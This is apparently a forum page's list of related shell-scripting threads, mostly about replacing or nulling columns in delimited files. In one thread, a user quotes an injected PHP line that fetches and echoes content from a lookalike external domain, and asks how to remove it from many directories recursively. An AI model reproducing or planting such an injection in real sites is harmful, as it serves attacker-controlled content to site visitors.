10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
I am trying to replace the partcular columns(Col3,col5,col20,col44,col55,co56,col59,col60,col61,col62,col74,col75,col88,col90,col91,col93,col94,col95) with empty
Input file
Col1,col2,col3,col4,col5------,col100
1,2,3,4,5,---------,100
3,4,5,6,7,---------,300
Output : ... (3 Replies)
Discussion started by: onesuri
3 Replies
2. Shell Programming and Scripting
Hi,
i have another issue:
i have three files:
FILE 1
ServiceEventHandler,
Processed,Percentage
5285337,100%
FILE 2
Wallet,
Processed,Percentage
5285337,100% (1 Reply)
Discussion started by: reignangel2003
1 Replies
3. Shell Programming and Scripting
Hi All,
I have a large dat file where each lines are pipe delimited values. I need to parse the file depending on the request. For example: sometimes I have told to remove all the values in the 7th column (this case remove values '3333' only from the first line and '3543' from the second line)... (4 Replies)
Discussion started by: express14
4 Replies
4. Shell Programming and Scripting
Hi all,
Need a small help I am in lookout for a command that changes 0's to NULL in my file, The content will look like
1139,223108,R,2009,0,854,854,854,732,854,854,854,854,854
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,... (3 Replies)
Discussion started by: Sri3001
3 Replies
5. Shell Programming and Scripting
Hi,
I have following data in a file
5~6.14~S~N~N~0.~4565~134~6584
~6.13~H~N~N~0.~4578~0~6587
2~6.14~S~N~N~0.~4565~134~6584
~3.13~H~N~N~0.~4578~0~6587
-~6.14~S~N~N~0.~4565~134~6584
~7.13~H~N~N~0.~4578~0~6587
I want the output as
5~6.14~S~N~N~0.~4565~134~6584... (2 Replies)
Discussion started by: sol_nov
2 Replies
6. Shell Programming and Scripting
I have an input file having 7 fields delimited by ,
eg :
1,ABC,hg,1,2,34,3
2,hj,YU,2,3,4,
3,JU,kl,4,5,7,
4,JK,KJ,3,56,4,5
The seventh field here in some lines is empty, whereas the other lines there is a value.
How do I insert string NULL at this location (7th loc) for these lines where... (8 Replies)
Discussion started by: zilch
8 Replies
7. Shell Programming and Scripting
Hi ..
Can some one please suggest me how to replace 4th field(column) of a .csv file with "NA" if it is null.
Input file data:
|A|21|B1||1.1|
|A|21|C|RAGH|1.1|
|A|21|D1||1.1|
|A|21|C|YES|1.1
Expected Output
|A|21|B1|NA|1.1|
|A|22|C|RAGH|1.1|
|B|23|D1|NA|1.1|
|A|24|C|YES|1.1|
Thank... (4 Replies)
Discussion started by: pasupuleti81
4 Replies
8. Shell Programming and Scripting
I have a fixed width text file which has some null characters in no particular order. I need to replace them with spaces so that the width remains same.
I tried this:
tr "\000" "\040" < mainfile > newfile
Does not work. I tested that it works the other way round:
$ echo "hello" |tr... (1 Reply)
Discussion started by: rikxik
1 Replies
9. Shell Programming and Scripting
Hello,
I need a script or one liner possible in perl or awk ( as sed shows error )
I want to replace
<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?>
with blank or null
1) in a file
2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies
10. Shell Programming and Scripting
Hi,
I have a file with 104 columns delimited by comma.
I have to replace fields 4,5 and 19 with null values and after replacing the columns in the file , the file should be still comma delimited. I am new to shell scripting, Experts please help me out.
Thank you (1 Reply)
Discussion started by: vukkusila
1 Replies